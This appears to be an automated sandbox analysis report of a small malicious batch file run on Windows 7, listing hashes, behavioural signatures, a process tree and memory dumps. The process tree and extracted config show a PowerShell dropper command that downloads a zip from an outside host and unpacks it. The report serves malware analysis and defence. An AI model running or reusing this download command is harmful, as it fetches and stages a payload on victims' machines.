1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
119s
max time network
139s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 13:23

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General

Target

tesy - Copy (9).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2468	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2468	powershell.exe
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1436 wrote to memory of 2468	1436	cmd.exe	29
PID 1436 wrote to memory of 2468	1436	cmd.exe	29
PID 1436 wrote to memory of 2468	1436	cmd.exe	29
PID 1436 wrote to memory of 2636	1436	cmd.exe	30
PID 1436 wrote to memory of 2636	1436	cmd.exe	30
PID 1436 wrote to memory of 2636	1436	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
566c613fa85ee1f690fb61f26b7df136

SHA1
c052f48ab4bc40ebd5fe17a19b3d5d43b895716b

SHA256
fa8b67391b904af320e0994eb1d1a276ac1a1e50ec73abcbccad3fd3c4ac5e99

SHA512
a9bf8d3acdf31c815ccf79b3cd40c066878e232b8d8d98533eadd675b20c87be8163aefe37efc8fb327ff57528ced7f8ba3a64a05ab6cadc65fbbb4f6bb2c2e1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9CP0EMEBU7Z80P9TNPCL.temp

Filesize
7KB

MD5
566c613fa85ee1f690fb61f26b7df136

SHA1
c052f48ab4bc40ebd5fe17a19b3d5d43b895716b

SHA256
fa8b67391b904af320e0994eb1d1a276ac1a1e50ec73abcbccad3fd3c4ac5e99

SHA512
a9bf8d3acdf31c815ccf79b3cd40c066878e232b8d8d98533eadd675b20c87be8163aefe37efc8fb327ff57528ced7f8ba3a64a05ab6cadc65fbbb4f6bb2c2e1

Download Submit
memory/2468-13-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2468-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2468-9-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2468-8-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2468-10-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2468-11-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2468-4-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2468-6-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2468-5-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2636-19-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2636-22-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2636-21-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2636-20-0x0000000002730000-0x0000000002738000-memory.dmp

Filesize
32KB

Download
memory/2636-23-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2636-24-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2636-25-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2636-26-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download